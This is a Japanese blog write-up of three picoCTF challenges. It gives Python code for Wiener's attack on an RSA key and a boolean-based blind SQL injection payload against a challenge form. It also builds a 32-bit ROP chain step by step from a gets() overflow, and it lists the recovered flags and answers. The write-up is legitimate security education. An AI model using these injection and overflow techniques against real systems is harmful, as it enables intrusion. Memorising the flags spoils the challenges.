picoCTF - Writeup(遅遅の遅)
つらい実験科目によってほとんどフリータイムがない中,picoCTFのWriteupを(今頃)書きました.内容は以下に示す3問のみです.
・Super Safe RSA 2
・A Simple Question
・rop chain
Super Safe RSA 2
公開鍵(e, n)と暗号文cが渡されますが,せいぜい65537程度の大きさであるeの値がべらぼうにでかいので,Wiener's Attackが使えます.いやぁ~,自分で一回実装しといてよかった,と思った一問でした(自分語り).クソコードをのっけます.こいつは来年の春にでもきれいにできれば,と思っています.
import math #--------PLEASE SET (e, n)-------- def set_values(): e = 166469415374069307881604324436342677840204259559951383103458348696214353018185580067127805885715702582826742952855206035850607388392166614056495391290151746650424386583535774622709912504383483742572448337565274948581041550819383283860203664028306185265859707368577879926514232681259612579344391833668817270913 n = 167818890560996465630467660522759422821311591428711487378116440524593140343836769125663052058639440088766593645612546346278130386295299544461168104275998718733123494540156011937404481135312366524773575109469754297864828333733123922028880567126525579171598321755189056067313592155802703541501512699223753527743 return e, n #-------------------------------------- def fix_den(m, num, den): return m * den + num, den def convert_to_a_fraction(cf): index = len(cf) - 1 num = cf[index - 1] num, den = fix_den(cf[index - 1], 1, cf[index]) index -= 1 while True: if index == 0: return num, den else: num, den = fix_den(cf[index - 1], den, num) index -= 1 ''' This function returns {int(sqrt(num)) ---if num is a square number. {-1 ---------------if num is not a square number. ''' def calcSquare(num): if num<0: return -1 maximumbase=1 while maximumbase<=num: maximumbase*=10 answer=0 success_flag=False while maximumbase>=1: maximumbase//=2 square=pow(answer, 2) if square==num: success_flag=True break elif square<num: answer+=maximumbase else: answer-=maximumbase if success_flag: return answer else: return -1 def is_square(num): a = 1 exp = 0 while a < num: a *= 4 exp += 1 answer = pow(2, exp) dist = answer // 2 while True: num_2 = answer * answer if num_2 == num: return True, answer elif num_2 < num: answer += dist else: answer -= dist if dist==0: if num_2 > num: return False, answer else: return False, answer+1 dist //= 2 def main(): e, n = set_values(); success_flag=False cf=[] k=e d=n cf.append(e//n) while True: tmp=d d=k%d k=tmp cf.append(k//d) num, den = convert_to_a_fraction(cf) if (e * den - 1)%num==0: phaiN=(e*den - 1)//num b=n-phaiN+1 c=n #sqrt(b^2-4ac) rt2 = pow(b, 2) - 4 * c flag, rt = is_square(rt2) if rt2 > 0 and flag == True: #解p,qは整数か if b % 2 == rt % 2: p=(b + rt) // 2 q=(b - rt) // 2 print("p=") print(p) print("q=") print(q) success_flag = True break if num == e and den == n: break if success_flag == False: print("failed...") if __name__ == "__main__": main()
この結果,pとqは以下のように求まります.
p= 13187791611843376794443813417505164905719902975940204994951353780300053316986286058129548697178236289057253045681561721903633315886536681830716299905580769 q= 12725321683903898367448235894643841040653555869947621697905115020959136660923216347010267828363037006731940776069218036492902863509365802709092550777996447
これにより復号を行うと,平文mは16進数で,
7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f303532353436357d
となり,これをASCIIコードに直すと,
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_0525465}
となります.
A Simple Question (650pt)
650ptだがサービスなSQLiの問題.フォームに何かを入力するとそれに応じて"You are so close."あるいは"Wrong."のYes/No的な返答が返ってくるのでBoolean-based blind SQLiを疑います.ご丁寧にも「SELECT * FROM answers WHERE answer='(フォームに打ち込んだ文字列)'」がクエリになっていることが示されているので,たとえば次のような文字列を入力すると,answerの2文字目のASCIIコード値が文字XのASCIIコード値より大きいかについて調べられます.「' or SUBSTR(answer,2)>'X';--」
したがって,これとASCIIコード表を併用すれば,n文字目の文字が何であるか,二分探索により調べることができます.僕にはコーディング能力がないので,手動でこれを何回も行いました.疲れました.もしかしたら,pythonでクエリを送ってレスポンスから自動的に二分探索していく,ということができたかもしれません.
上記の入力をしているうちに,x文字目がすべての印字可能な文字のASCIIコードよりも小さくなります.それが文字列answerの終端です.
結果,answerの正体は,文字列"41AndSixSixths"でした.これを直接フォームに入力すると,フラグが得られます.
rop chain
次のようなプログラムが渡されます.#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define BUFSIZE 16 bool win1 = false; bool win2 = false; void win_function1() { win1 = true; } void win_function2(unsigned int arg_check1) { if (win1 && arg_check1 == 0xBAAAAAAD) { win2 = true; } else if (win1) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void flag(unsigned int arg_check2) { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && arg_check2 == 0xDEADBAAD) { printf("%s", flag); return; } else if (win1 && win2) { printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n"); } else if (win1 || win2) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
この問題を解くには,次の手順が必要です.
1.vulnでBOFを起こす
2.サブルーチンwin_function1に入ってwin1をtrueにする
3.引数に0xBAAAAAADを指定しながら,サブルーチンwin_function2に入ってwin2をtrueにする
4.引数に0xDEADBAADを指定しながら,サブルーチンflagに入ってフラグを表示させる
まず,win_function1の先頭アドレスは0x080485cbなので,1と2を行うためには,bofを以下のように実行して,バッファを埋めてリターンアドレスをwin_function1の先頭アドレス0x080485cbに書き換えます.(実行はまだしないでください)
python -c 'print("A"*28+"\xcb\x85\x04\x08")' | ./rop
次に,3を起こすことを考えます.まずは,サブルーチンwin_function1からret命令により移動するリターンアドレスをwin_function2の先頭アドレス0x080485d8に書き換えます.
python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08")' | ./rop
また,今回は引数として0xBAAAAAADを与える必要があります.そこで,引数はどのアドレスに入るかをIDAから見ることにします.次の図が,IDA上でみたwin_function2の一部です.
これを見ると,$esp+8というアドレス以降に格納されている値と0xBAAAAAADを比較し,等しければwin1が1すなわちtrueになることがわかります.ebpにespを代入している時点で,espの値(指しているアドレス)は"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"のうち"\xd8"のアドレスになります.したがって,これから8大きいアドレスに0xBAAAAAADを入れてやればいいことになります.
python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba")' | ./rop
最後に,4を起こすことを考えます.まずは,サブルーチンwin_function2からret命令により移動するリターンアドレスをflagの先頭アドレス0x0804862Bに書き換えます.ret命令でpopされてeipに入るのは"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba"のうち"A"*4の部分なので,ここを"\x2b\x86\x04\x08"にします.
python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba")' | ./rop
また,今回は引数として0xDEADBAADを与える必要があります.しかし,先ほどと同様に,"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"の"\x2b"が入るアドレスより8大きいアドレスに0xDEADBAADを入れてやればいいことになります.
python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop
したがって,問題サーバ上で
python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop
を打ち込めば,フラグを表示してくれます.